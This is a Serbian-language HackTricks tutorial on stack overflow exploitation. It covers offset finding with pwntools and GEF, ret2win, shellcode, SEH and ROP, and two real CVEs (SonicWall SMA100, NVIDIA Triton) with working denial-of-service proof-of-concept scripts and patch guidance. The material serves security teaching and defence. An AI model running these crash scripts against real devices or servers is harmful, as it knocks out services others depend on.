Stack Overflow

Reading time: 9 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Šta je Stack Overflow

stack overflow je ranjivost koja nastaje kada program upiše više podataka na stack nego što je za to alocirano. Ovaj višak podataka će prepisati susedni memorijski prostor, što dovodi do korupcije validnih podataka, poremećaja kontrolnog toka i potencijalno izvršavanja zlonamernog koda. Ovaj problem se često javlja zbog upotrebe nesigurnih funkcija koje ne vrše proveru granica nad ulazom.

Glavni problem ovog prepisivanja je što su sačuvani instrukcioni pokazivač (EIP/RIP) i sačuvani bazni pokazivač (EBP/RBP) koji služe za povratak u prethodnu funkciju smešteni na stacku. Dakle, napadač će moći da ih prepiše i kontroliše tok izvršavanja programa.

Ranjivost se obično pojavljuje zato što funkcija kopira na stack više bajtova nego što je za to alocirano, omogućavajući time prepisivanje drugih delova stacka.

Neke uobičajene funkcije koje su ranjive na ovo su: strcpy, strcat, sprintf, gets... Takođe, funkcije poput fgets, read i memcpy koje prihvataju argument dužine, mogu biti korišćene na ranjiv način ako je navedena dužina veća od alocirane.

Na primer, sledeće funkcije mogu biti ranjive:

c
void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}

Pronalaženje offseta za Stack Overflows

Najčešći način da se otkriju stack overflows je da se unese veoma veliki ulaz sastavljen od As (npr. python3 -c 'print("A"*1000)') i očekuje Segmentation Fault koji ukazuje da je pokušano pristupiti adresi 0x41414141.

Pored toga, kada utvrdite da postoji Stack Overflow ranjivost, moraćete da pronađete offset do trenutka kada je moguće overwrite the return address; za to se obično koristi De Bruijn sequence. Za zadati alfabet veličine k i podnizove dužine n, to je ciklični niz u kojem se svaki mogući podniz dužine n pojavljuje tačno jednom kao kontinualni podniz.

Na ovaj način, umesto da ručno pokušavate da odredite koji offset je potreban za kontrolu EIP-a, moguće je koristiti kao padding jedan od ovih nizova i zatim pronaći offset bajtova koji su završili overwriting it.

Moguće je koristiti pwntools za ovo:

python
from pwn import *

# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
pattern = cyclic(1000)

# This is an example value that you'd have found in the EIP/IP register upon crash
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value)  # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")

ili GEF:

bash
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp

Eksploatacija Stack Overflows

Tokom overflow-a (pod pretpostavkom da je veličina overflow-a dovoljno velika) moći ćete da prepišete vrednosti lokalnih varijabli unutar stack-a sve dok ne dođete do sačuvanih EBP/RBP i EIP/RIP (ili čak i više).
Najčešći način zloupotrebe ove vrste ranjivosti je izmena return address-a tako da kada funkcija završi tok izvršavanja bude preusmeren tamo gde je napadač odredio u ovom pokazivaču.

Međutim, u drugim scenarijima možda je dovoljno samo prepisati vrednosti nekih promenljivih na stack-u za eksploataciju (npr. u lakim CTF izazovima).

Ret2win

U ovom tipu CTF izazova, u binarnom fajlu postoji funkcija koja se nikada ne poziva, a koju morate pozvati da biste pobedili. Za ove izazove potrebno je samo pronaći offset za prepisivanje return address-a i adresu funkcije koju treba pozvati (obično je ASLR onemogućen) tako da kada ranjiva funkcija vrati kontrolu, skrivena funkcija bude pozvana:

Ret2win

Stack Shellcode

U ovom scenariju napadač može postaviti shellcode u stack i iskoristiti kontrolisani EIP/RIP da skoči na shellcode i izvrši proizvoljan kod:

Stack Shellcode

Windows SEH-based exploitation (nSEH/SEH)

Na 32-bit Windows-u, overflow može prepisati lanac Structured Exception Handler (SEH) umesto sačuvane adrese povratka. Eksploatacija obično zamenjuje SEH pokazivač sa POP POP RET gadget-om i koristi 4-bajtno nSEH polje za kratak skok koji pivota nazad u veliki buffer gde se nalazi shellcode. Uobičajen obrazac je kratak jmp u nSEH koji se završava na 5-bajtnom near jmp-u postavljenom odmah pre nSEH da bi se skočilo stotinama bajtova nazad na početak payload-a.

Windows Seh Overflow

ROP & Ret2... techniques

Ova tehnika je osnovni okvir za zaobilaženje glavne zaštite prethodne tehnike: No executable stack (NX). Takođe omogućava izvođenje više drugih tehnika (ret2lib, ret2syscall...) koje će na kraju izvršiti proizvoljne komande zloupotrebom postojećih instrukcija u binarnom fajlu:

ROP - Return Oriented Programing

Heap Overflows

Overflow nije uvek na stack-u, može biti i u heap-u, na primer:

Heap Overflow

Tipovi zaštite

Postoji nekoliko zaštita koje pokušavaju da spreče eksploataciju ranjivosti, pogledajte ih u:

Common Binary Exploitation Protections & Bypasses

Real-World Example: CVE-2025-40596 (SonicWall SMA100)

Dobar primer zašto sscanf nikada ne treba verovati za parsiranje nepouzdanog inputa pojavio se 2025. u SonicWall-ovom SMA100 SSL-VPN uređaju. Ranjiva rutina unutar /usr/src/EasyAccess/bin/httpd pokušava da izdvoji verziju i endpoint iz bilo kog URI koji počinje sa /__api__/:

c
char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
  1. Prva konverzija (%2s) bezbedno skladišti dva bajta u version (npr. "v1").
  2. Druga konverzija (%s) nema specifikator dužine, zato će sscanf nastaviti da kopira dok ne naiđe na prvi NUL byte.
  3. Pošto je endpoint smešten na stack i ima 0x800 bytes, prosleđivanje puta dužeg od 0x800 bytes korumpira sve što se nalazi posle buffer‑a — uključujući stack canary i saved return address.

Jednolinijski proof-of-concept je dovoljan da izazove pad pre autentifikacije:

python
import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)

Iako stack canaries abort the process, napadač i dalje dobija Denial-of-Service primitiv (i, sa dodatnim information leaks, moguće code-execution). Lekcija je jednostavna:

  • Uvek obezbedite maksimalnu širinu polja (npr. %511s).
  • Preferirajte sigurnije alternative kao što su snprintf/strncpy_s.

Real-World Example: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)

NVIDIA’s Triton Inference Server (≤ v25.06) je sadržao više stack-based overflows dostupnih preko njegovog HTTP API. Ranjivi obrazac se ponavljao u http_server.cc i sagemaker_server.cc:

c
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
  1. evbuffer_peek (libevent) vraća broj internih buffer segmenata koji čine telo trenutnog HTTP zahteva.
  2. Svaki segment uzrokuje da se 16-byte evbuffer_iovec alocira na stack putem alloca()bez gornje granice.
  3. Zloupotrebom HTTP chunked transfer-encoding, klijent može primorati zahtev da bude podeljen na stotine hiljada 6-byte chunks ("1\r\nA\r\n"). To omogućava da se n neograničeno poveća dok se stack ne iscrpi.

Dokaz koncepta (DoS)

python
#!/usr/bin/env python3
import socket, sys

def exploit(host="localhost", port=8000, chunks=523_800):
s = socket.create_connection((host, port))
s.sendall((
f"POST /v2/models/add_sub/infer HTTP/1.1\r\n"
f"Host: {host}:{port}\r\n"
"Content-Type: application/octet-stream\r\n"
"Inference-Header-Content-Length: 0\r\n"
"Transfer-Encoding: chunked\r\n"
"Connection: close\r\n\r\n"
).encode())

for _ in range(chunks):                  # 6-byte chunk ➜ 16-byte alloc
s.send(b"1\r\nA\r\n")            # amplification factor ≈ 2.6x
s.sendall(b"0\r\n\r\n")               # end of chunks
s.close()

if __name__ == "__main__":
exploit(*sys.argv[1:])

Zahtev od ~3 MB je dovoljan da prepiše sačuvanu povratnu adresu i crash daemona na podrazumevanoj kompilaciji.

Zakrpa i ublažavanje

Izdanje 25.07 zamenjuje nesigurnu alokaciju na steku sa heap-backed std::vector i elegantno obrađuje std::bad_alloc:

c++
std::vector<evbuffer_iovec> v_vec;
try {
v_vec = std::vector<evbuffer_iovec>(n);
} catch (const std::bad_alloc &e) {
return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
}
struct evbuffer_iovec *v = v_vec.data();

Naučene lekcije:

  • Nikada ne pozivati alloca() sa veličinama koje su pod kontrolom napadača.
  • Chunked requests mogu drastično promeniti oblik buffera na strani servera.
  • Validirajte / ograničite svaku vrednost izvedenu iz ulaza klijenta pre nego što je upotrebite u memorijskim alokacijama.

Referencije

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks